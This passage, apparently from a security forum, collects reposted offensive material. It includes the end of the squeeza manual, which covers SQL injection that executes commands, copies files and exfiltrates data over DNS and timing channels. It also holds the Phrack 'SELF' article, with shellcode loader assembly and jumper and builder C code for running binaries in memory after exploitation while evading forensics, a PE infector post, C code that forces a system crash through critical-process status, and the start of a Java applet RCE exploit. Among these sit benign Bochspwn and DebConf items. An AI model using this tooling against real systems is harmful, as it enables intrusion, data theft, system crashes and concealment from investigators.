you with a basic shell from which to control squeeza. All squeeza commands are prefixed by a '!'. Anything else is sent through to the underlying module; this generally causes action to occur. E.g. The default mode is command mode. When typing in sp-sq> dir c:\ The command 'dir c:\' is sent to the server, and its output is returned via your channel of choice. To switch to HTTP error-based copy mode, and copy the file c:\sp.jpeg to local file sp.copied, the following command sequence would work sp-sq> !channel http sp-sq> !copy sp-sq> c:\sp.jpeg sp.copied To then extract a list of database tables via timing, one could use sp-sq> !channel time sp-sq> !sql sp-sq> !ret tables 5.5 Using command mode Switch to command mode at any time by using the '!cmd' command. This mode enables the execution of commands on the server. Type in the command of choice, and squeeza will execute it and return its results. Beware that if you attempt to execute a file that triggers a handler, then squeeza will timeout waiting for a response. E.g. if you execute c:\some.jpeg, the database server will probably fire up Windows Picture and Fax Viewer /on the server/, and sit waiting for the viewer to quit. Which it won't. Command mode uses the following variables: cmd_table_name : name to use for temporary table in database, default is 'sqcmd' 5.6 Using copy mode Switch to copy mode at any time by using the '!copy' command. This mode enables the copying of files /from/ the server to your local machine. Format of copy command is: sp-sq> src-file [dst-file] where 'src-file' is a full path to the file you want to copy, and the optional 'dst-file' is a local filename. 5.7 Using sql mode Switch to sql mode at any time by using the '!sql' command. This mode enables the execution of fairly simple but arbitrary SQL queries on the database. It has built-in queries to help with the mapping of database schema, but one can easily construct one's own queries. This mode does not actually build an intermediate or temporary table before data extraction, as an added optimisation. The built-in queries are operated using the '!ret' command. Possible values for '!ret' include: info tables columns < table_name > E.g.: sp-sq> !ret info sp-sq> !ret tables sp-sq> !ret columns sysobjects Issuing arbitrary queries is a little more complex (but not by much!) The query should take the form of: < column_name > < table_names > < where_clause > For instance, to extract user tables one could use the following query sp-sq> name sysobjects xtype='U' 5.8 Using the DNS channel Switch to the dns channel at any time by using the '!channel dns' command. This channel is useful when no HTTP error messages are present, and you can't export reverse shells or connect to bind shells due to network limitations. If DNS is allowed out the network, the channel will work for you. Depending on whether your injection point has sysadmin privileges or not, squeeza can be instructed to use different injection strings. This is influenced by the 'dns_privs' configuration variable. Possible values: high : database user is sysadmin, and xp_cmdshell is available medium : database user is sysadmin, xp_cmdshell is not available (we'll use xp_getfiledetails as a reasonable substitute) low : database user is unprivileged, use xp_getfiledetails Other configuration variables that affect the DNS channel (see Appendix A for a longer description): request_timeout dns_domain dns_server 5.9 Using the timing channel Switch to timing channel at any time by using the '!channel time' command. This channel enables the extraction of data when very few database or network privileges are present. It can be extremely slow (as in, 1 or 2 bits per second) but might just be what you need. The timing channel provides the command '!calib' for automatic calibration of time ranges. Feedback on the effectiveness of this command is gratefully accepted. Configuration variables for the timing channel (see Appendix A for a longer description: delay outlier_weight one_range zero_range time_privs ansi request_timeout 5.10 Using the HTTP error channel Switch to the HTTP error channel at any time by using the '!channel http' command. This channel requires that SQL errors are shown in the body of the HTML. Not often seen in practise today, but useful when present. Much faster than the other modes. Configuration variables for the HTTP error channel (see Appendix A for a longer description: request_timeout 6. Requirements Before installing squeeza, ensure that the following system requirements are fulfilled: ruby (developed on 1.8.4, should work on any version after that, at least. prior to 1.8.4, test and let me know if it works) tcpdump (if you're planning on using the dns channel. if you're running windows, let me know which, if any, of the various tcpdump ports worked for you) access to a dns server, if you'll be using the dns channel a large SQL injection point in a vulnerable web application. how large? typical injection strings are 600 or so bytes. #7. Additional Resources ##7.1 Bugs Apart from sql mode not working with the http error channel, we aren't aware of major bugs in squeeza. Feel free to send your bug reports to research@sensepost.com, along with a description of what when wrong, what you were doing at the time, squeeza output and so on. Setting '!debug 2' will give you much more output. 7.2 Appendix A: Known configuration variables Default value is given in rounded braces after the variable name. If a variable takes on a one of a pre-defined set of values, they are specified after the variable name like so: random_var (default) [ value1 | value 2 | value 3 ] All clear? Good. Let's carry one. ansi (off) [ on | off ] - Specifies whether your terminal capable of handling ansi characters. Set to 'no' for Windows use. cmd_table_name (sqcmd) - Name of temporary table to use in command mode cp_table_name (sqfilecp) - Name of temporary table to use in copy mode debug (0) [ 0 | 1 | 2 ] - debug level delay (1) - Integer specifying how long to wait for a 1-bit when using the timing channel. Normally this is automatically calculated by !calib dns_domain - Domain that is appended to data when initiating DNS requests. You should have access to traffic between the database server and the DNS server for the dns_domain (either because you're running squeeza on the DNS server or because you're on the path between the victim and the DNS server. dns_privs (high) [ high | medium | low ] - Specifies which injection string to use with the dns channel. - high : database user is sysadmin, and xp_cmdshell is available - medium : database user is sysadmin, xp_cmdshell is not available (we'll use xp_getfiledetails as a reasonable substitute) - low : database user is unprivileged, use xp_getfiledetails dns_server - IP address of your local machine. If 'dns_privs' is 'high' then we can pass the address of our own DNS server to nslookup. Use this variable if dns_privs is high and works, the server can send UDP traffic directly to your machine. headers[] - Additional HTTP headers to add to the request. Use this to add cookies etc. Usage permits multiple headers[] lines e.g.: headers[]=Cookie: qweqwewqeqweqweqwe headers[]=User-Agent: My squeeza host - Used by the http module to send requests to a vulnerable web application. http_resp_ok (200) - a comma-separated list of http response codes that squeeza should consider OK, otherwise throw errors. For instance, regular DNS and timing attacks only consider 200s to be acceptable by 500s are returned by the HTTP error channel as part of its operation. lines_per_request (1) - Used by the DNS module to request multiple lines per HTTP request. Experiment with setting higher if you like. method (post) [ post | get ] - http method to use mssql_channel (dns) [ dns | time | http ] - Decide at start-up which channel to use. mssql_mode (cmd) [ cmd | copy | sql ] - Decide at start-up which mode to enter. one_range - used by the time channel to determine if a request's time is to be treated as a 1-bit. outlier_weight - used by the time channel to discard outliers when calibrating port (80) - port on which the webserver is listening prompt (sp-sq>) - used by the shell as a prompt querystring - either POST or GET parameters for the vulnerable page. mark the injection point with _X__X e.g. querystring=__VIEWSTATE=dDwtMTcxMDQzNTQyMDs7PtQR3aDGafqEYIzRv SwVTqrcmzY0&m_search=_X__X&_ctl3=Search request_timeout (20) - user by various channels as a generic timeout sql_postfix - string that will complete the injection string. typically this would be a "--" (excluding the "") sql_prefix - string that ends the sql statement immediately prior to squeeza's injection string. typically this might look like "';" (excluding the "") ssl (off) [ on | off ] - determine whether ssl is needed time_privs (high) [ high | low ] - this value is automatically selected for you, depending on the chosen mode url - a path to the vulnerable page zero_range - used by the time channel to determine if a request's time is to be treated as a 0-bit. Download: https://github.com/sensepost/squeeza
  20. Advanced Antiforensics : SELF ==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14 |=----------------=[ Advanced Antiforensics : SELF ]=-------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Pluf & Ripe ]=------------------------------=| |=-----------------------[ www.7a69ezine.org ]=--------------------------=| 1 - Introduction 2 - Userland Execve 3 - Shellcode ELF loader 4 - Design and Implementation 4.1 - The lxobject 4.1.1 - Static ELF binary 4.1.2 - Stack context 4.1.3 - Shellcode loader 4.2 - The builder 4.3 - The jumper 5 - Multiexecution 5.1 - Gits 6 - Conclusion 7 - Greetings 8 - References A - Tested systems B - Sourcecode ---[ 1 - Introduction The techniques of remote services' exploitation have made a substantial progress. At the same time, the range of shellcodes have increased and incorporates new and complex anti-detection techniques like polymorphism functionalities. In spite of the advantages that all these give to the attackers, a call to the syscall execve is always needed; that ends giving rise to a series of problems: - The access to the syscall execve may be denied if the host uses some kind of modern protection system. - The call to execve requires the file to execute to be placed in the hard disk. Consequently, if '/bin/shell' does not exist, which is a common fact in chroot environments, the shellcode will not be executed properly. - The host may not have tools that the intruder may need, thus creating the need to upload them, which can leave traces of the intrusion in the disk. The need of a shellcode that solves them arises. The solution is found in the 'userland exec'. ---[ 2 - Userland Execve The procedure that allows the local execution of a program avoiding the use of the syscall execve is called 'userland exec' or 'userland execve'. It's basically a mechanism that simulates correctly and orderly most of the procedures that the kernel follows to load an executable file in memory and start its execution. It can be summarized in just three steps: - Load of the binary's required sections into memory. - Initialization of the stack context. - Jump to the entry point (starting point). The main aim of the 'userland exec' is to allow the binaries to load avoiding the use of the syscall execve that the kernel contains, solving the first of the problems stated above. At the same time, as it is a specific implementation we can adapt its features to our own needs. We'll make it so the ELF file will not be read from the hard disk but from other supports like a socket. With this procedure, the other two problems stated before are solved because the file '/bin/sh' doesn't need to be visible by the exploited process but can be read from the net. On the other hand, tools that don't reside in the destination host can also be executed. The first public implementation of a execve in a user environment was made by "the grugq" [1], its codification and inner workings are perfect but it has some disadvantages: - Doesn't work for real attacks. - The code is too large and difficult to port. Thanks to that fact it was decided to put our efforts in developing another 'userland execve' with the same features but with a simpler codification and oriented to exploits' use. The final result has been the 'shellcode ELF loader'. ---[ 3 - Shellcode ELF loader The shellcode ELF loader or Self is a new and sophisticated post-exploitation technique based on the userland execve. It allows the load and execution of a binary ELF file in a remote machine without storing it on disk or modifying the original filesystem. The target of the shellcode ELF loader is to provide an effective and modern post-exploitation anti-forensic system for exploits combined with an easy use. That is, that an intruder can execute as many applications as he desires. ---[ 4 - Design and Implementation Obtaining an effective design hasn't been an easy task, different options have been considered and most of them have been dropped. At last, it was selected the most creative design that allows more flexibility, portability and a great ease of use. The final result is a mix of multiple pieces, independent one of another, that realize their own function and work together in harmony. This pieces are three: the lxobject, the builder and the jumper. These elements will make the task of executing a binary in a remote machine quite easy. The lxobject is a special kind of object that contains all the required elements to change the original executable of a guest process by a new one. The builder and jumper are the pieces of code that build the lxobject, transfer it from the local machine (attacker) to the remote machine (attacked) and activate it. As a previous step before the detailed description of the inner details of this technique, it is needed to understand how, when and where it must be used. Here follows a short summary of its common use: - 1st round, exploitation of a vulnerable service: In the 1st round we have a machine X with a vulnerable service Y. We want to exploit this juicy process so we use the suitable exploit using as payload (shellcode) the jumper. When exploited, the jumper is executed and we're ready to the next round. - 2nd round, execution of a binary: Here is where the shellcode ELF loader takes part; a binary ELF is selected and the lxobject is constructed. Then, we sent it to the jumper to be activated. The result is the load and execution of the binary in a remote machine. We win the battle!! ---[ 4.1 - The lxobject What the hell is that? A lxobject is an selfloadable and autoexecutable object, that is to say, an object specially devised to completely replace the original guest process where it is located by a binary ELF file that carries and initiates its execution. Each lxobject is built in the intruder machine using the builder and it is sent to the attacked machine where the jumper receives and activates it. Therefore, it can be compared to a missile that is sent from a place to the impact point, being the explosive charge an executable. This missile is built from three assembled parts: a binary static ELF, a preconstructed stack context and a shellcode loader. ---[ 4.1.1 - Static ELF binary It's the first piece of a lxobject, the binary ELF that must be loaded and executed in a remote host. It's just a common executable file, statically compiled for the architecture and system in which it will be executed. It was decided to avoid the use of dynamic executables because it would add complexity which isn't needed in the loading code, noticeably raising the rate of possible errors. ---[ 4.1.2 - Stack context It's the second piece of a lxobject; the stack context that will be needed by the binary. Every process has an associated memory segment called stack where the functions store its local variables. During the binary load process, the kernel fills this section with a series of initial data requited for its subsequent execution. We call it 'initial stack context'. To ease the portability and specially the loading process, a preconstructed stack context was adopted. That is to say, it is generated in our machine and it is assembled with the binary ELF file. The only required knowledge is the format and to add the data in the correct order. To the vast majority of UNIX systems it looks like: .----------------. .--> | alignment | | |================| | | Argc | - Arguments (number) | |----------------| | | Argv[] | ---. - Arguments (vector) | |----------------| | | | Envp[] | ---|---. - Environment variables (vector) | |----------------| | | | | argv strings | <--' | | |----------------| | - Argv and envp data (strings) | | envp strings | <------' | |================| '--- | alignment | -------> Upper and lower alignments '----------------' This is the stack context, most reduced and functional available for us. As it can be observed no auxiliary vector has been added because the work with static executables avoids the need to worry about linking. Also, there isn't any restriction about the allowed number of arguments and environment variables; a bunch of them can increase the context's size but nothing more. As the context is built in the attacker machine, that will usually be different from the attacked one; knowledge of the address space in which the stack is placed will be required. This is a process that is automatically done and doesn't suppose a problem. *--[ 4.1.3 - Shellcode Loader This is the third and also the most important part of a lxobject. It's a shellcode that must carry on the loading process and execution of a binary file. it is really a simple but powerful implementation of userland execve(). The loading process takes the following steps to be completed successfully (x86 32bits): * pre-loading: first, the jumper must do some operations before anything else. It gets the memory address where the lxobject has been previously stored and pushes it into the stack, then it finds the loader code and jumps to it. The loading has begun. __asm__( "push %0\n" "jmp *%1" : : "c"(lxobject),"b"(*loader) ); * loading step 1: scans the program header table and begins to load each PT_LOAD segment. The stack context has its own header, PT_STACK, so when this kind of segment is found it will be treated differently from the rest (step 2) .loader_next_phdr: // Check program header type (eax): PT_LOAD or PT_STACK movl (%edx),%eax // If program header type is PT_LOAD, jump to .loader_phdr_load // and load the segment referenced by this header cmpl $PT_LOAD,%eax je .loader_phdr_load // If program header type is PT_STACK, jump to .loader_phdr_stack // and load the new stack segment cmpl $PT_STACK,%eax je .loader_phdr_stack // If unknown type, jump to next header addl $PHENTSIZE,%edx jmp .loader_next_phdr For each PT_LOAD segment (text/data) do the following: * loading step 1.1: unmap the old segment, one page a time, to be sure that there is enough room to fit the new one: movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%esi subl $PG_SIZE,%esi movl $0,%ecx .loader_unmap_page: pushl $PG_SIZE movl %edi,%ebx andl $0xfffff000,%ebx addl %ecx,%ebx pushl %ebx pushl $2 movl $SYS_munmap,%eax call do_syscall addl $12,%esp addl $PG_SIZE,%ecx cmpl %ecx,%esi jge .loader_unmap_page * loading step 1.2: map the new memory region. pushl $0 pushl $0 pushl $-1 pushl $MAPS pushl $7 movl PHDR_MEMSZ(%edx),%esi pushl %esi movl %edi,%esi andl $0xffff000,%esi pushl %esi pushl $6 movl $SYS_mmap,%eax call do_syscall addl $32,%esp * loading step 1.3: copy the segment from the lxobject to that place: movl PHDR_FILESZ(%edx),%ecx movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi repz movsb * loading step 1.4: continue with next header: addl $PHENTSIZE,%edx jmp .loader_next_phdr * loading step 2: when both text and data segments have been loaded correctly, it's time to setup a new stack: .loader_phdr_stack: movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%ecx repz movsb * loading step 3: to finish, some registers are cleaned and then the loader jump to the binary's entry point or _init(). .loader_entry_point: movl PHDR_ALIGN(%edx),%esp movl EHDR_ENTRY(%ebp),%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx xorl %esi,%esi xorl %edi,%edi jmp *%eax * post-loading: the execution has begun. As can be seen, the loader doesn't undergo any process to build the stack context, it is constructed in the builder. This way, a pre-designed context is available and should simply be copied to the right address space inside the process. Despite the fact of codifying a different loader to each architecture the operations are plain and concrete. Whether possible, hybrid loaders capable of functioning in the same architectures but with the different syscalls methods of the UNIX systems should be designed. The loader we have developed for our implementation is an hybrid code capable of working under Linux and BSD systems on x86/32bit machines. ---[ 4.2 - The builder It has the mission of assembling the components of a lxobject and then sending it to a remote machine. It works with a simple command line design and its format is as follows: ./builder <host> <port> <exec> <argv> <envp> where: host, port = the attached machine address and the port where the jumper is running and waiting exec = the executable binary file we want to execute argv, envp = string of arguments and string of environment variables, needed by the executable binary For instance, if we want to do some port scanning from the attacked host, we will execute an nmap binary as follows: ./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin" Basically, the assembly operations performed are the following: * allocate enough memory to store the executable binary file, the shellcode loader and the stack's init context. elf_new = (void*)malloc(elf_new_size); * insert the executable into the memory area previously allocated and then clean the fields which describe the section header table because they won't be useful for us as we will work with an static file. Also, the section header table could be removed anyway. ehdr_new->e_shentsize = 0; ehdr_new->e_shoff = 0; ehdr_new->e_shnum = 0; ehdr_new->e_shstrndx = 0; * build the stack context. It requires two strings, the first one contains the arguments and the second one the environment variables. Each item is separated by using a delimiter. For instance: <argv> = "arg1;arg2;arg3;-h" <envp> = "PATH=/bin;SHELL=sh" Once the context has been built, a new program header is added to the binary's program header table. This is a PT_STACK header and contains all the information which is needed by the shellcode loader in order to setup the new stack. * the shellcode ELF loader is introduced and its offset is saved within the e_ident field in the elf header. memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ); ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9]; *ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ; * the lxobject is ready, now it's sent to specified the host and port. connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr) write(sfd, elf_new, elf_new_size); An lxobject finished and assembled correctly, ready to be sent, looks like this: [ Autoloadable and Autoexecutable Object ] .------------------------------------------------ | | [ Static Executable File (1) ] | .--------------------------------. | | | | | .----------------------. | | | | ELF Header )---------|----|--. | | |----------------------| | | Shellcode Elf loader (3) | | | Program Header Table | | | hdr->e_ident[9] | | | | | | | | | + PT_LOAD0 | | | | | | + PT_LOAD1 | | | | | | ... | | | | | | ... | | | | | | + PT_STACK )---------|----|--|--. | | | | | | | Stack Context (2) | | |----------------------| | | | | | | Sections (code/data) | | | | | '--> |----------------------| <--' | | | .--> |######################| <-----' | | | |## SHELLCODE LOADER ##| | | P | |######################| | | A | | | | | G | | ....... | | | E | | ....... | | | | | | | | | |######################| <--------' | | |#### STACK CONTEXT ###| | | |######################| | '--> '----------------------' | '----------------- ---[ 4.3 - The jumper It is the shellcode which have to be used by an exploit during the exploitation process of a vulnerable service. Its focus is to activate the incoming lxobject and in order to achieve it, at least the following operations should be done: - open a socket and wait for the lxobject to arrive - store it anywhere in the memory - activate it by jumping into the loader Those are the minimal required actions but it is important to keep in mind that a jumper is a simple shellcode so any other functionality can be added previously: break a chroot, elevate privileges, and so on. 1) how to get the lxobject? It is easily achieved, already known techniques, as binding to a port and waiting for new connections or searching in the process' FD table those that belong to socket, can be applied. Additionally, cipher algorithms can be added but this would lead to huge shellcodes, difficult to use. 2) and where to store it? There are three possibilities: a) store it in the heap. We just have to find the current location of the program break by using brk(0). However, this method is dangerous and unsuitable because the lxobject could be unmapped or even entirely overwritten during the loading process. store it in the process stack. Provided there is enough space and we know where the stack starts and finishes, this method can be used but it can also be that the stack isn't be executable and then it can't be applied. c) store it in a new mapped memory region by using mmap() syscall. This is the better way and the one we have used in our code. Due to the nature of a jumper its codification can be personalized and adapted to many different contexts. An example of a generic jumper written in C is as it follows: lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0); addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[1])); addr.sin_addr.s_addr = 0; sfd = socket(AF_INET, SOCK_STREAM, 0)); bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)); listen(sfd, 10); nsfd = accept(sfd, NULL, NULL)); for (i = 0 ; i < 255 ; i++) { if (recv(i, tmp, 4, MSG_PEEK) == 4) { if (!strncmp(&tmp[1], "ELF", 3)) break; } } recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL); loader = (unsigned long *)&lxobject[9]; *loader += (unsigned long)lxobject; __asm__( "push %0\n" "jmp *%1" : : "c"(lxobject),"b"(*loader) ); ---[ 5 - Multiexecution The code included in this article is just a generic implementation of a shellcode ELF loader which allows the execution of a binary once at time. If we want to execute that binary an undefined number of times (to parse more arguments, test new features, etc) it will be needed to build and send a new lxobject for each try. Although it obviously has some disadvantages, it's enough for most situations. But what happens if what we really wish is to execute our binary a lot of times but from the other side, that is, from the remote machine, without building the lxobject? To face this issue we have developed another technique called "multi-execution". The multi-execution is a much more advanced derived implementation. Its main feature is that the process of building a lxobject is always done in the remote machine, one binary allowing infinite executions. Something like working with a remote shell. One example of tool that uses a multi-execution environment is the gits project or "ghost in the system". *--[ 5.1 - Gits Gits is a multi-execution environment designed to operate on attacked remote machines and to limit the amount of forensic evidence. It should be viewed as a proof of concept, an advanced extension with many features. It comprises a launcher program and a shell, which is the main part. The shell gives you the possibility of retrieving as many binaries as desired and execute them as many times as wished (a process of stack context rebuilding and binary patching is done using some advanced techniques). Also, built-in commands, job control, flow redirection, remote file manipulation, and so on have been added. ---[ 6 - Conclusions The forensic techniques are more sophisticated and complete every day, where there was no trace left, now there's a fingerprint; where there was only one evidence left, now there are hundreds. A never-ending battle between those who wouldn't be detected and those who want to detect. To use the memory and leave the disk untouched is a good policy to avoid the detection. The shellcode ELF loader develops this post-exploitation plainly and elegantly. ---[ 7 - Greetings 7a69ezine crew & redbull. ---[ 8 - References [1] The Design and Implementation of ul_exec - the grugq http://securityfocus.com/archive/1/348638/2003-12-29/2004-01-04/0 [2] Remote Exec - the grugq http://www.phrack.org/show.php?p=62&a=8 [3] Ghost In The System Project http://www.7a69ezine.org/project/gits ---[ A - Tested systems The next table summarize the systems where we have tested all this fucking shit. /----------v----------\ | x86 | amd64 | /------------+----------+----------< | Linux 2.4 | works | works | >------------+----------+----------< | Linux 2.6 | works | works | >------------+----------+----------< | FreeBSD | works | untested | >------------+----------+----------< | NetBSD | works | untested | \------------^----------^----------/ ---[ B - Sourcecode Sursa: https://sites.google.com/site/x86pfxlab/oldstuff
  21. [h=2]Black Hat USA 2013, Bochspwn, slides and pointers[/h](Collaborative post by Mateusz “j00ru” Jurczyk and Gynvael Coldwind) Two weeks ago (we’re running late, sorry!) Gynvael and I had the pleasure to attend one of the largest, most technical and renowned conferences in existence – Black Hat 2013 in Las Vegas, USA. The event definitely stood up to our expectations – the city was purely awesome (especially for someone who just turned 21 like me), the venue was at least as great, we saw many interesting and truly inspiring talks and a whole bunch of old friends, not to mention meeting a fair number of new folks. In addition to all this, our visit to Vegas turned out quite successful for other reasons too – our “Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns” work was nominated and eventually awarded a Pwnie (in fact, two mascots) in the “Most Innovative Research” category. Woot! While the subject of memory access pattern analysis or the more general kernel instrumentation was only mentioned briefly when we originally released the first slide deck and whitepaper, as we mostly focused on the exploitation of constrained local kernel race conditions back then, our most recent Black Hat “Bochspwn: Identifying 0-days via System-Wide Memory Access Pattern Analysis” talk discussed the specifics of how the control flow of different operating systems’ kernels can be logged, examined or changed for the purpose of identifying various types of local vulnerabilities. Demos were presented live and are not available publicly (especially considering that one of them was a 0-day). Slides: “Bochspwn: Identifying 0-days via System-Wide Memory Access Pattern Analysis” (5.26MB, PDF) During the conference, we also open-sourced our Bochs kernel instrumentation toolkit (including both the CPU instrumentation modules and post-processing tools) under the new name of “kfetch-toolkit”. The project is hosted on github (see https://github.com/j00ru/kfetch-toolkit) and is available for everyone to hack on under the Apache v2 license. Should you have any interesting results, concerns, questions or proposed patches, definitely drop us a line. We are looking forward to some meaningful, external contributions to the project. Last but not least, we have also explicitly mentioned that we would release all Bochspwn-generated logs that we had looked through and reported to corresponding vendors or deemed to be non-issues or non-exploitable. Below follows a moderately well explained list of reports, including information such as the original Bochspwn output, list of affected functions, our comments based on a (usually brief) investigation and the guest operating system and iteration number. Please note that a large number of Windows reports were assessed to be of a “NO FIX” class by Microsoft, and it might make sense to take another look at these and find out if the vendor didn’t miss any obviously exploitable problems (unfortunately, we haven’t had the time to perform a thorough analysis of each of the reports). Although a majority of the bugs were found in Windows, the Linux and BSD reports can certainly provide you with some interesting (yet not security-relevant) behavior and a fair dose of amusement. We hope you enjoy looking through the docs. Without further ado, here are the reports: [h=2]Windows[/h] Bulletin issues (fixed by Microsoft until 08/13/2013). Non-issues, non-exploitable problems and Denial of Service vulnerabilities. Unfixed issues as of 08/13/2013, “0-days”. [h=2]Linux[/h] Non-issues, non-exploitable problems. [h=2]FreeBSD[/h] Non-issues, non-exploitable problems. All comments are more then welcome. Take care! Sursa: Black Hat USA 2013, Bochspwn, slides and pointers | j00ru//vx tech blog
  22. DebConf13 video recordings DebConf13 runs August 11-18. Videos of some of the talks are available now. There are also live streams of some talks. Index of /pub/debian-meetings/2013/debconf13/high Name Last modified Size Parent Directory - 965_SPI_BOF.ogv 2013-08-12 03:06 493M 966_Technical_Committee_BOF.ogv 2013-08-12 03:30 485M 970_Derivatives_panel.ogv 2013-08-13 01:14 506M 972_Bits_from_the_DPL.ogv 2013-08-12 03:14 519M 976_Debian_Cosmology.ogv 2013-08-12 03:07 528M 978_Munin_.ogv 2013-08-12 22:06 469M 981_Making_your_package_work_with_systemd.ogv 2013-08-13 01:58 508M 983_Why_Debian_should_or_should_not_make_systemd_the_default.ogv 2013-08-13 01:13 544M 986_Why_running_a_Blend.ogv 2013-08-12 22:52 494M 989_Debian_Science_Roundtable.ogv 2013-08-12 23:26 515M 994_Debian_Contributors_BOF.ogv 2013-08-12 03:04 516M 1003_Debian_on_Google_Compute_Engine.ogv 2013-08-12 22:00 429M 1004_Public_clouds_and_official_Debian_image_status.ogv 2013-08-13 00:24 479M 1005_Tutorial_Using_Debian_on_Google_Compute_Engine.ogv 2013-08-12 22:18 526M 1007_Debian_derivatives_BoF.ogv 2013-08-12 22:31 549M 1013_Hardware_support_in_Debian_stable.ogv 2013-08-12 02:45 200M 1015_DebiChem.ogv 2013-08-13 01:09 514M 1018_Whats_new_in_the_Linux_kernel.ogv 2013-08-12 02:43 351M 1027_Why_Debian_needs_Upstart.ogv 2013-08-13 21:58 528M 1031_OpenStack_workshop.ogv 2013-08-12 23:08 438M 1036_AWS_Debian.ogv 2013-08-12 22:11 515M 1038_How_can_AWS_help_Debian.ogv 2013-08-13 00:34 179M 1041_Welcome_talk.ogv 2013-08-12 01:17 280M 1048_Recursive_node_classification_for_system_automation.ogv 2013-08-13 22:40 445M 1054_dracut.ogv 2013-08-13 21:29 305M 1060_ikiwiki_BoF.ogv 2013-08-13 22:25 665M Via: DebConf13 video recordings [LWN.net]
  23. [h=1]PE infect x64 - PoC[/h]by [h=3]eKKiM[/h]An example project (VS project) of how to add PE section copy your own shellcode to in it and execute it when application launches. This example only works for 64-bit executables. A source of the shellcode is also added. The shellcode is written for FASM Tested on a few binaries. Works on most of them, only having troubles with executables shipped with Windows. If anyone might have an idea why, please let me know. See the attachment for the source. Have any other problems or questions? Feel free to ask. [h=4]Attached Files[/h] pe_infect_x64.rar 6.41K Sursa: PE infect x64 - PoC - rohitab.com - Forums
  24. [h=1]Set a process as critical process using NtSetInformationProcess function[/h]by [h=3]zwclose7[/h]The NtSetInformationProcess function can be used to set a process as critical process. The system will bug check the system with the bug check code CRITICAL_PROCESS_TERMINATION (0xF4) when the critical process is terminated. To set a process as critical process using NtSetInformationProcess function, the caller must have SeDebugPrivilege enabled. This privilege can be enabled using the RtlAdjustPrivilege function. To set a process as critical process, call NtSetInformationProcess with ProcessBreakOnTermination (0x1D) information class. NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege,BOOLEAN Enable,BOOLEAN EnableForThread,PBOOLEAN OldValue); NTSTATUS NTAPI NtSetInformationProcess(HANDLE ProcessHandle,PROCESS_INFORMATION_CLASS ProcessInformationClass,PVOID ProcessInformation,ULONG ProcessInformationLength); Commands: on - Set the current process as critical process. off - Cancel the critical process status. exit - Terminate the program. If you terminate the program whlie the critical process status is on, the system will crash! #include <stdio.h>#include <Windows.h> #include <winternl.h> #pragma comment(lib,"ntdll.lib") EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); EXTERN_C NTSTATUS NTAPI NtSetInformationProcess(HANDLE,ULONG,PVOID,ULONG); int main() { BOOLEAN bl; ULONG BreakOnTermination; NTSTATUS status; char cmd[10]; //To set a process as critical process using NtSetInformationProcess function, the caller must have SeDebugPrivilege enabled. if(!NT_SUCCESS(RtlAdjustPrivilege(20,TRUE,FALSE,&bl))) { printf("Unable to enable SeDebugPrivilege. Make sure you are running this program as administrator."); return 1; } printf("Commands:\n\n"); printf("on - Set the current process as critical process.\noff - Cancel the critical process status.\nexit - Terminate the current process.\n\n"); while(1) { scanf("%s",cmd); if(!strcmp("on",cmd)) { BreakOnTermination=1; status=NtSetInformationProcess((HANDLE)-1,0x1d,&BreakOnTermination,sizeof(ULONG)); if(status!=0) { printf("Error: Unable to set the current process as critical process. NtSetInformationProcess failed with status %#x\n\n",status); } else { printf("Successfully set the current process as critical process.\n\n"); } } else if(!strcmp("off",cmd)) { BreakOnTermination=0; status=NtSetInformationProcess((HANDLE)-1,0x1d,&BreakOnTermination,sizeof(ULONG)); if(status!=0) { printf("Error: Unable to cancel critical process status. NtSetInformationProcess failed with status %#x\n\n",status); } else { printf("Successfully canceled critical process status.\n\n"); } } else if(!strcmp("exit",cmd)) { break; } } return 0; } [h=4]Attached Thumbnails[/h] [h=4]Attached Files[/h] critproc.zip 305.83K Sursa: Set a process as critical process using NtSetInformationProcess function - rohitab.com - Forums
  25. Packet Storm Exploit 2013-0813-1 - Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow Site packetstormsecurity.com The IntegerInterleavedRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a signed integer overflow that allows bypassing of "dataOffsets[0]" boundary checks. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program. import java.awt.CompositeContext;import java.awt.image.*; import java.beans.Statement; import java.security.*; public class MyJApplet extends javax.swing.JApplet { /** * Initializes the applet myJApplet */ @Override public void init() { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { 